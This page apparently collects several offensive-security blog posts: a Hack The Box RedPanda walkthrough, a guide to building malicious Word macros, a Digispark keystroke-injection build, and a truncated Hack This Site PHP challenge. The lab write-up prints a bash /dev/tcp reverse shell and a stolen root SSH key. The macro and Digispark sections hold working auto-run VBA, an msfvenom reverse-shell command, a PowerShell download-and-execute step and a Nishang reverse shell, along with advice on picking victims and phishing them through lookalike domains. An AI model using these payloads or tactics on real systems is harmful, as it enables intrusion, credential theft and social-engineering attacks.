Hack The Box – RedPanda

Hello world and welcome to Haxez, today I will be taking on the “easy” Hack The Box Machine RedPanda. I put “easy” in quotes because attempting to beat this box was harder than a typical easy box. However, the last two I have completed have both been more difficult than I have come to expect. This box requires some web enumeration and knowledge of SSTI or Service Side Template Injection. Then it gets crazy and I will do my best to explain it when we get there. Please be advised that I couldn’t solve this without the official walkthrough and IppSec’s video. As such, the techniques you see will not be unique.

RedPanda Enumeration

First things first, let’s find out what we’re dealing with. I ran Nmap against the box targeting all ports, requesting service versions and I put the ‘-A’ flag on there to show this RedPanda that I wasn’t messing around. After a while, the scan came back and ports 22 for ssh and 8080 for HTTP were open. I’ve snipped a bunch of the output off as it wasn’t of much value.

┌─[joe@parrot]─[~]
└──╼ $sudo nmap -sC -sV -O -A 10.129.247.33
[sudo] password for joe:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 10:44 GMT
Nmap scan report for 10.129.247.33
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|_ Request</h1></body></html>
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 30.70 ms 10.10.14.1
2 62.13 ms 10.129.247.33
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.62 seconds

Panda Power

As HTTP was the only thing for us to investigate, I opened Firefox and started poking around. Sites like this remind me of the old internet. When everyone had a website just for fun and not just for commerce. This website is for photos of Red Pandas… that’s it. How cool is that, bring the old internet back. Anyway, looking around the site there didn’t appear to be much functionality.

RedPanda Application

However, there was a search functionality that I used to gather more information about the technologies in use. As you can see below, I captured the request in Burp and changed the HTTP request method from POST to GET. Consequently, this produced an error message which revealed the type of application in use. The error message reports “Whitelabel Error Page” which when googled reveals that it’s a Spring Boot error.

RedPanda Error Page

Fuzzy Panda

I used ffuf to fuzz the application to find special characters that caused the application to error. Identically to IppSec, I used the ‘SecLists/master/Fuzzing/special-chars.txt’ wordlist. As shown below, there were a number of characters that resulted in the application producing a 500 error. I’m not great at testing applications but I tend to check the response length, response time and HTTP response code for indications of a vulnerability. In order to do this, I save the request from burp and changed the value of the name parameter to FUZZ. This way ffuf can identify what needs to be fuzzed.

RedPanda Fuzzing Post
┌─[joe@parrot]─[~/RedPanda]
└──╼ $ffuf -request search.request -request-proto http -w special-chars.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
______________________________________________
:: Method : POST
:: URL : http://10.129.247.33:8080/search
:: Wordlist : FUZZ: special-chars.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
:: Header : Referer: http://10.129.247.33:8080/
:: Header : Accept-Encoding: gzip, deflate
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Host: 10.129.247.33:8080
:: Header : Cache-Control: max-age=0
:: Header : Upgrade-Insecure-Requests: 1
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
:: Header : Origin: http://10.129.247.33:8080
:: Header : Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
:: Header : Connection: close
:: Data : name=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
| [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 121ms]
# [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 480ms]
; [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 499ms]
? [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 531ms]
~ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 551ms]
. [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 552ms]
/ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 514ms]
_ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 580ms]
- [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 580ms]
< [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 611ms]
( [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 598ms]
& [Status: 200, Size: 1039, Words: 205, Lines: 34, Duration: 615ms]
$ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 695ms]
> [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 698ms]
, [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 701ms]
^ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 675ms]
: [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 705ms]
[ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 712ms]
* [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 670ms]
' [Status: 200, Size: 728, Words: 156, Lines: 29, Duration: 713ms]
! [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 712ms]
= [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 688ms]
] [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 718ms]
" [Status: 200, Size: 729, Words: 156, Lines: 29, Duration: 719ms]
@ [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 721ms]
) [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 729ms]
` [Status: 200, Size: 724, Words: 156, Lines: 29, Duration: 733ms]
\ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 735ms]
+ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
{ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
} [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 759ms]
Progress: [32/32]: Job [1/1]: 0 req/sec: Duration: [0:00:00]: Errors: 0

Server Side Template Injection

The majority of special characters were handled correctly. However, the backslash, plus symbol and squiggly brackets all produced a 500 error. Squiggly brackets can be used to perform Server Side Template Injection or SSTI attacks. SSTI is when the threat actor injects code into a server-side template that then gets processed by the server. For example, if you were to submit ‘{{7*7}}’ to the application and the response returned 49, you could presume that the application was susceptible to SSTI. Go to HackTricks for a better explanation.

In summary, we know that the technology being used is Spring Boot. Furthermore, we know that the application is likely vulnerable to Server Side Template Injection. Lucky for us, HackTricks have already done the work and have payloads for these exact conditions. The payload below, when executed should execute the id command on the server and return the results back in the response.

SSTI
SSTI Panda Style

RedPanda Pawhold

We have code execution via Server Side Template Injection. The next step was to leverage this to get a reverse shell. First, I created a bash script on my local host that would create a TCP connection back to my IP address on port 1337.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.126/1337 0>&1

Next, I span up a Python3 web server in the same directory as the bash script. I then visited the URL in my browser to confirm the script was accessible. I right-clicked the script and copied the URL.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then, I created a netcat listener on port 1337 so that when the script is executed on the target server, something is there to catch it when it makes the connection attempt.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $sudo nc -lvnp 1337
listening on [any] 1337 ...

I then modified the payload so that it would perform a ‘wget’ to the bash script and download it.

SSTI Reverse Shell
Burp

Submitting this command to the search box or via the name parameter in Burp appeared to do the trick. However, I had to change the permissions on the file before I could execute it. You could argue that I should have just used ‘chmod +x’ instead of ‘chmod 777’ but I don’t care, not my circus, not my pandas.

More payloads
More Burp

I sent one final request to the server to politely ask it to execute my script. The application hung.

Reverse Shell

But sure enough, I got a reverse shell. This dropped us into a shell as the ‘woodenk’ user. From here I was able to grab the user flag.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $sudo nc -lvnp 1337
[sudo] password for joe:
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.247.33] 44842
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat /home/woodenk/user.txt
cat /home/woodenk/user.txt
10a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓caf

Things Get Really Hardcore

It was about this time that I had fallen into a false sense of security. I knew what I was doing, so far so good, this was easy. Well, things were about to take a turn. On easy Linx machines, I would normally expect to see a script that calls a binary without an absolute path. Or perhaps you have ‘sudo’ that lets you run a ‘SUID’ binary with a well-known escape. I would have even been happy with a kernel exploit. A well-known public exploits that you can find easily with tools like LinEnum or LinPEAS. NOPE!

Now that we have access to the box, we should upgrade our shell. We’re civilised human beings after all. Why wouldn’t we want the full features available to us? Using the Python stty trick I was able to upgrade my shell to a fully functional one.

woodenk@redpanda:/tmp/hsperfdata_woodenk$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<enk$ python3 -c 'import pty;pty.spawn("/bin/bash")'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ ^Z
[1]+ Stopped sudo nc -lvnp 1337

┌─[✗]─[joe@parrot]─[~/RedPanda]
└──╼ $stty raw -echo

┌─[joe@parrot]─[~/RedPanda]
sudo nc -lvnp 1337
woodenk@redpanda:/tmp/hsperfdata_woodenk$ stty rows 36 cols 170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ export TERM=xterm

RedPanda Authenticated Enumeration

Next, I threw LinEnum and LinPEAS onto my Python web server and downloaded them to /tmp on RedPanda. I made them executable and ran them. I found nothing! Not knowing what to do next, I downloaded the official walkthrough and visited Youtube. Using the official walkthrough I was able to locate the credentials stored in the following file. It’s odd that neither of the enumeration scripts found them. They were quite obviously credentials.

woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java

The credentials in that file were for the user ‘woodenk’ and provided SSH access to the box. However, it probably isn’t a good idea to SSH to the box. The reason why is that the application process that we hacked to get our reverse shell is a member of the logs group. The user ‘woodenk’ is not a member of the logs group. We will need this group’s permission to perform our privilege escalation (I think) and logging in via SSH will remove it from us. So while we’re logged in as ‘woodenk’ and shouldn’t be in the logs group, the process that we hacked is and thus we are in the logs group. I have no idea how that works.

Finding Files

By this point, I was lost completely and just following along with IppSec’s video. I will try to keep things short and sweet but if you want a detailed explanation of the privilege escalation, go watch his video. We start by looking for files that belong to the logs group. The output below shows that the file’s user owner is root but the group owner is logs. This is interesting.

woodenk@redpanda:find / -group logs 2>/dev/null
/opt/panda_search/redpanda.log
woodenk@redpanda:/opt/panda_search$ ls -laSh
total 48K
-rwxrwxr-x 1 root root 9.9K Jun 14 2022 mvnw
-rw-rw-r-- 1 root root 6.5K Feb 21 2022 mvnw.cmd
drwxrwxr-x 5 root root 4.0K Jun 14 2022 .
drwxr-xr-x 5 root root 4.0K Jun 23 2022 ..
drwxrwxr-x 3 root root 4.0K Jun 14 2022 .mvn
drwxrwxr-x 4 root root 4.0K Jun 14 2022 src
drwxrwxr-x 9 root root 4.0K Jun 22 2022 target
-rw-rw-r-- 1 root root 2.6K Apr 27 2022 pom.xml
-rw-rw-r-- 1 root logs 1 Mar 13 12:18 redpanda.log

So next we search for references to this log file in other locations on the system. There is likely to be a binary or script somewhere doing something with this log file. As you can see from the output below, there are two java applications that mention the redpanda.log file. One in the log parser app and one in panda_search app. I don’t know much about Java so a lot of this is new to me.

woodenk@redpanda:/opt/panda_search$ grep -R redpanda.log /
Binary file /opt/panda_search/target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java: FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
Binary file /opt/credit-score/LogParser/final/target/classes/com/logparser/App.class matches
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java: File log_fd = new File("/opt/panda_search/redpanda.log");

RedPanda Privilege Escalation

I haven’t included the code and I’m not going to try and explain it. After watching IppSec’s video I somewhat understand what’s going on but I couldn’t tell you which part of the binary does what. However, from what I understand these two binaries do a number of things. They read the redpanda.log file and if they see a request for an image, they process that image and then write the metadata author attribute to an XML file. So, if we create an image and modify the metadata to perform a file traversal to an XML file of our own creation, we can then use XML Entity Injection to execute code and retrieve files that we’re not supposed to.

Capturing A Panda

First, we need to capture a panda. Once we have this panda, we can modify its metadata using exiftool and give it a different author attribute. The snippet below shows that I have changed the author attribute to ‘../dev/shm/haxez’. So now, when it attempts to write to the XML file it will first perform a path traversal up out of the ‘/credits’ directory (where the XML is usually stored) and into ‘/dev/shm’ where our haxez XML file is stored. We caught this panda in the ‘img’ directory but when releasing it back to the wild we won’t have permission to put him back there. Probably best to drop him off in the /dev/shm directory and let him make his own way back.

Our RedPanda
┌─[joe@parrot]─[~/RedPanda]
└──╼ $exiftool -Artist=../dev/shm/haxez greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
1 image files updated
┌─[joe@parrot]─[~/RedPanda]
└──╼ $exiftool greg.jpg
ExifTool Version Number : 12.16
File Name : greg.jpg
Directory : .
File Size : 100 KiB
File Modification Date/Time : 2023:03:13 13:08:39+00:00
File Access Date/Time : 2023:03:13 13:08:39+00:00
File Inode Change Date/Time : 2023:03:13 13:08:39+00:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Orientation : Horizontal (normal)
Artist : ../dev/shm/haxez

XML Entity Injection Attack

So when the cronjob runs, it will see the Artist value in the image and traverse directories from credits up a directory to /credits/../dev/shm/haxez_creds.xml and look for a haxez_creds.xml file. Then in that file, we perform an XML Entity Injection attack to steal the root user’s private key. This is not easy! Why is this machine marked as easy?! Let’s steal an XML template from the /credits directory and modify it with our payload. An example of this can be found on HackTricks. As you can see from the snippet below, we specify the root user’s private key in the entity entry. Then, further down we specify the location where we want the contents of that file to be written to (I think).

XXE

Triggering The Exploit

In order for the exploit to be triggered, we need to put something in the redpanda.log file. This is why we need the logs group permission. The snippet below shows me echoing a fake request to the image we created. It includes a traversal to our /dev/shm directory where are panda was released back into the wild. Then when the corn job runs, it finds the image, reads the metadata, executes the XML entity injection and saves the root user’s private key in our XML file.

woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg' > redpanda.log

woodenk@redpanda:/opt/panda_search$ cat redpanda.log
200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg

Got root?

After twiddling our thumbs for a bit, and waiting for the cronjob to execute we can cat the XML file. As you can see from the snippet below it now contains the root user’s private key. We can then save this key locally, give it 600 permissions and use it to SSH to the server as the root user and capture the root flag.

woodenk@redpanda:/opt/panda_search$ cat /dev/shm/haxez_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>haxez</author>
<image>
<uri>/../../../../../../../../dev/shm/haxez.jpg</uri>
<views>1</views>
<data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
</image>
<totalviews>1</totalviews>
</credits>

And ssh to capture the flag.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $ssh -i key [email protected]
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 13 Mar 2023 01:25:21 PM UTC
System load: 0.02
Usage of /: 81.0% of 4.30GB
Memory usage: 50%
Swap usage: 0%
Processes: 225
Users logged in: 1
IPv4 address for eth0: 10.129.247.33
IPv6 address for eth0: dead:beef::250:56ff:fe96:bf03
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Jun 30 13:17:41 2022

root@redpanda:~# cat /root/root.txt
e8a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ff4

RedPanda Review

I definitely don’t agree with the easy categorisation of this box. This box was at least a medium-difficulty box. The reason I say that is because most of the easy boxes I have done (about 45 at the time of writing) make it easier to understand what needs to be done. Normally the privilege escalation will be staring you in the face but you need to work out how to trigger it. Whether it’s due to my lack of knowledge of Java or something else I’m missing, I had no clue what I was expected to do here. Anyway I wont rant anymore. Glad this one is over.

Making A Malicious Microsoft Office File

Hello world and welcome to haxez, in this post I’m going to be explaining how you can create a malicious Microsoft Office file to hack anyone. Ok, nothing is ever going to work 100% of the time. I was going through the Red Team Weaponization room on TryHackMe and I loved this technique so much that I wanted to make a separate post on it.

Malicious File With Microsoft Office Visual Basic

Microsoft Office applications have a feature that allows them to support Visual Basic programs or macros. Furthermore, these macros can be used to automate manual tasks to make the user’s life easier. However, we will be using these programs for something far more nefarious. In order to get started we need to create a new Word document. Once you have the document open, navigate to the view tab and click on Macros, then view Macros.

Malicious File Microsoft Office Visual Basic
Microsoft Office Visual Basic

Creating A Malicious File Macro In Microsoft Office

With the Macro window open, give your new sinister macro a name as shown in the screenshot below. You also need to ensure that the current document is selected from the dropdown menu. Once you have made those changes, click create.

Creating A Malicious File Macro In Microsoft Office
Creating A Macro In Microsoft Office

A new window should pop up with the title Microsoft Visual Basic for Applications. Within this window should be your Document1 macro editor. For our first macro, all we’re going to do is have the document spawn a dialog box with a message. This can be achieved with the snippet of code below.

Sub THM()
MsgBox ("YOU HAS BEEN HAXED!!!")
End Sub
Macro In Microsoft Office Malicious File
Macro In Microsoft Office

Running the Microsoft Office Malicious File Macro

Next, we need to test that the Macro works. This can be done by simply clicking the green triangle icon within the macro window. This will execute the Visual Basic code which should create the message box. Fantastic, you have created your first macro. However, this doesn’t really accomplish anything as the user would have to open the macros themselves in order to run it.

Running the Microsoft Office Malicious File Macro
Running the Microsoft Office Macro

Automatic Macro Execution (sort of)

We can configure the macro to automatically execute when the document is opened (sort of). The user will still need to enable macros but once they have, the macro will execute. This can be done by editing the macro and adding the Document_Open and Auto_Open functions. You also need to specify which function to execute, in our case it is the EvilMacro function. The code will look similar to the snippet below.

Sub Document_Open()
EvilMacro
End SubSub AutoOpen()
EvilMacro
End SubSub EvilMacro()
MsgBox ("YOU HAS BEEN HAXED!!!")
End Sub
Automatic Macro Execution (sort of)
Automatic Macro Execution (sort of)

In order for the macro to work, it needs to be saved in a Macro-Enabled format such as .doc and docm. To do this, save the document as a Word 97–2003 Template. Got to File, save Document1 and save as type Word 97–2003 Document and finally, save. Now if you close the document and reopen it, you may get a warning message saying that macros need to be enabled. Click enable and the macro will run.

Popping Programs with Microsoft Office Malicious File

That’s great and all but it doesn’t really do anything other than tell the user you hacked them. However, we can expand the functionality to do other things like launching programs. A standard proof of concept in penetration testing is showing that you had the ability to launch the calculator. This can be done by declaring a payload variable as a string using the Dim keyword. Then we specify calc.exe as the payload. Lastly, we create a Windows Scripting Host object to execute the payload. The script should look like the snippet below. Follow the same steps as before to save and close the document, then opening the document again should open the calculator.

Sub Document_Open()
EvilMacro
End SubSub AutoOpen()
EvilMacro
End SubSub EvilMacro()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub
Popping Programs with Microsoft Office
Popping Programs with Microsoft Office

Injecting Some Venom

With the proof of concept out the way, it’s time to apply it to a real-world scenario. Microsoft Office Visual Basic Applications can be used to create reverse shells back to your attack box. For the purposes of this article, I will be using the TryHackMe labs as I couldn’t get it to work on my own Windows 10 lab. I did tinker with it for a few hours but was unsuccessful. The TryHackMe lab does have Windows Defender turned off.

Firstly, we need to create a Macro payload to add to our Microsoft Word Document, this can be done using the following msfvenom command and replacing the X’s with your attack boxes IP address and desired port:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=X -f vba

Once the payload has been generated, you need to add it as a new macro to your Office Word document. You also need to change the last line from Workbook_Open() to Document_Open() unless you’re working with Excel documents. Then, save the document as a Word 97–2003 Document.

Injecting Some Venom
Injecting Some Venom

Catching The Reverse Shell

The last step of the exploit is to capture the reverse shell once the document has been opened. In order to do this, we’re going to use Metasploit’s multi-handler. This can be done by typing use exploit/multi/handler. We’re then going to set the payload of windows/meterpreter/reverse_tcp. Finally, we’re going to set the LHOST and LPORT to the same values that we used in the msfvenom payload.

Catching The Reverse Shell
Catching The Reverse Shell
sysinfo
sysinfo

Triggering The Payload With Malicious File

When the victim opens the document, they will be greeted with a warning message that macros have been disabled. However, if you are using email as your delivery method then you can explain to the victim that it is important for them to enable macros. The victim then enables the macro, the payload executes and the reverse shell connects back to your attack box. You should now have a meterpreter shell on the victim’s machine.

Enable content
Enable content

Microsoft Office Delivery Methods

The are a number of different delivery methods that you can use to get the document into the hands of your victim. It is important to choose your victim appropriately when trying to compromise your target. For example, if you sent your payload to the head of the security team then your chances of success will likely be low. However, if you chose someone in the finance or sales department, someone with less IT security knowledge but who may still have a high level of access, then your success rate could be higher.

USB Delivery

USB delivery can be a powerful delivery mechanism to get malware onto a victim’s computer. Curiosity killed the cat and in this case, could compromise a network. If you were to load a USB device with the document and then label the document with something like “confidential” or “important”, I bet someone would want to take a peek at the contents.

Web Delivery

Web delivery is a convenient way to serve the malicious document to an unsuspecting victim. You could send the URL to the victim in an email, SMS, or other messaging technology. It also has the benefit of being more dynamic in that you can host multiple different payloads and make modifications to them. The USB delivery technique is a one-and-done but web delivery gives you more flexibility. The victim need only down the file and open it.

Email Delivery

Email delivery is a great option for a delivery technique provided the document doesn’t get flagged by antivirus. Furthermore, emails can be spoofed or you can register domain names similar to the victim’s domain so that the email seems more legitimate. For explain, if you had a victim with the email address [email protected] then you could register mydoma1n.com and send them an email from [email protected]. Granted it stands out but there are more sneaky ways to do this. You can use alt codes and characters from different alphabets to make it stand out less.

Furthermore, you could add context to the email. You could flag the email as important and explain to the user that they need to enable macros. If this email was then sent to a less technical employee and seemingly came from the IT department then it would increase the chances of compromise. This method exploits the trust the user has for the domain. It could be considered a social engineering attack.

Conclusion

Ok, the title of this post was clickbait and for that, I apologize. Granted the content of this post isn’t going to allow you to hack anyone with an Office document. The victim’s environment would have to be configured in such as way as to not detect the payload. Furthermore, you would have to trick them into running macros through some social engineering attack. However, there are many organizations out there that run outdated operating systems and versions of Microsoft Office. This attack could potentially work on outdated systems which is why you should keep your software up to date. Anyway, I had a fun but frustrating time trying to get this to work. I hope you enjoyed it.

The Digispark The DIY USB Rubber Ducky

Hello World and welcome to haxez. In this post, I will be discussing the Digispark. With the right payload, the Digispark can hack any computer in 2 seconds. I realize that’s a bold claim to make and is definitely a clickbait title but it isn’t far from the truth. The Digispark, like the Hak5 USB Rubber Ducky, is a keyboard emulator that can inject keystrokes on the target computer at breakneck speeds. Therefore, anything a hacker can do on a keyboard, the Digispark can do too but arguably faster. So, If you’re having trouble getting hold of a Hak5 USB Rubber Ducky then this could be the device for you. For about £2 and a bit of time, you can build your own Rubber Ducky from a Digispark. I’ve written another article using a different board, feel free to check that one out here.

Arduino Integrated Development Environment

The first step in creating your very own DIY USB Rubber Ducky super hacking tool is to download the Arduino Integrated Development Environment. This can be downloaded from the following URL https://www.arduino.cc/en/software. Simply visit the URL, click the download link, double-click the downloaded file and then follow the installation wizard.

USB Rubber Ducky Arduino Integrated Development Environment
Arduino Integrated Development Environment

Configuring Arduino IDE

Once you have installed the Arduino IDE, you need to configure it so that it can write your payloads to the Digispark. In order to do this, first launch the Arduino IDE then head to File, then Preferences, then paste the following URL into the Additional Boards Manager URLs input box. This allows the Arduino IDE to work with third-party boards such as the Digispark.

http://digistump.com/package_digistump_index.json
Digispark Additional Boards Manager URLS
Digispark Additional Boards Manager URLS

Install Digispark AVR Boards

Next, you need to install the Digistump Digispark boards so that the Arduino IDE knows how to talk to your board. To do this, head to Tools, Board and click Boards Manager. Then from the drop-down menu select contributed and search for the Digistump AVR Boards. There should be an install button, click that and wait for the boards to finish installing.

Arduino Boards Manager
Arduino Boards Manager

Digispark Drivers

That should be everything you need. However, if Windows is having trouble recognizing your board then you may need to install the drivers manually. You can find these by performing a quick Google search for “Digispark Arduino Drivers”. This should take you to the following GitHub page which has a download link labeled Digistump.Drivers.zip. Download, extract and install these drivers.

https://github.com/digistump/DigistumpArduino/releases
Digispark Drivers
Digispark Drivers

Digispark USB Rubber Ducky Payloads

Now that you’re Arduino IDE is set up and the drivers are installed, it’s time to find some payloads. There are tons of payloads available on the internet that do various things. These payloads range from performing a fake Windows update while playing Never Gonna Give You Up by Rick Astley to launching a Fork Bomb on the target system. I hope it goes without saying that some of these payloads can be dangerous and you should exercise caution when playing with them. The following GitHub repository has some good payloads to practice with.

https://github.com/CedArctic/DigiSpark-Scripts
USB Rubber Ducky Digispark Payloads
Digispark Payloads

Reverse Shell Downloader Payload

The payload I’m going to be focusing on is the Powershell reverse shell payload. You can see from the script below that this is a fairly simple script. It starts by sending the Windows Key and R to the computer. This opens the Run dialog box. After a brief delay, it types out “powershell.exe” into the Run dialog box and then sends the Enter key. This spawns a new Powershell window. In the new Powershell Window, it types out a command to download another payload from a URL. After a brief delay, it then executes the payload.

// This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. 
// Credits to hak5 and samratashok (developer of the nishang framework).#include "DigiKeyboard.h"
void setup() {
}void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("Invoke-WebRequest -Uri 'https://haxez.org/payload.ps1' -OutFile 'payload.ps1'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("./payload.ps1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*Stops the digispark from running the scipt again*/
}
}

USB Rubber Ducky Powershell Reverse Shell Payload

Please note that the following Powershell script will probably be caught by Windows Defender. However, with some tinkering like renaming variables and obfuscating the code, it may not be detected. I won’t be attempting to do that in this walkthrough. The following script is a reverse shell that will attempt to connect back to the IP address and port that you specify. This script will need to be uploaded to a server that you control and then the location of the script needs to be added to the downloader payload above.

#A simple and small reverse shell by samratashok's Nishang framework. Change the Host IP Address and Port according to your setup as described in the README file of the script. 
$sm=(New-Object Net.Sockets.TCPClient("192.168.0.23",4243)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Writing Payloads To Digispark

Once you have your payloads ready, it’s time to write the downloader payload to the Digispark. It’s important that you don’t plug in the Digispark first. First, paste your code into the Arduino IDE and then click the upload button. This will then spawn a terminal at the bottom of the application prompting you to plugin the device. You should now be able to plug in your Digispark. Once the terminal reads 100%, the payload will automatically execute. Probably best if you don’t try to use any payload that can potentially damage your computer.

USB Rubber Ducky Upload Payload To Digispark
Upload Payload To Digispark

Digispark USB Rubber Ducky Demonstration

With the payload written to the Digispark, it’s time to test it out. Ensure that you have uploaded the reverse shell payload to your web server and that the path has been amended in your download payload. Then set up a net cat listener or some other listener on your attack machine (the machine you want to connect back to) and plug the Digispark into the target machine. As mentioned previously, this will only likely work with Defender disabled unless you have modified your payload. However, please see the video below of a demonstration.

Hack This Site: Extended Basic – Mission 6

Hello World and welcome to haxez, today we’re going to be looking at Hack This Site Extended Basic 6. Solving this challenge requires some basic knowledge of PHP or any other language for that matter. It’s a simple challenge that shows how poorly coded web application authentication mechanisms can be bypassed.

The Extended Basic 6 Challenge

The image below shows the PHP that makes up the authentication mechanism. Furthermore, This is the code that we need to exploit in order to bypass the authentication mechanism. The introduction text at the top explains that the sysadmin is a noob and that the script is located at http://moo.com/moo.php. Therefore, to solve this challenge we need to append the correct syntax to the end of the URL and submit it to the submission form.

Extended Basic 6 The Code
The Code

The PHP Code

The snippet below is the exact code we’re going to be exploiting. Furthermore, there is no backend database to worry about, just some simple PHP logic that we can leverage for our own nefarious purposes.

<?php
$user = $_GET['user'];
$pass = $_GET['pass'];
if (isAuthed($user,$pass))
{
$passed=TRUE;
}
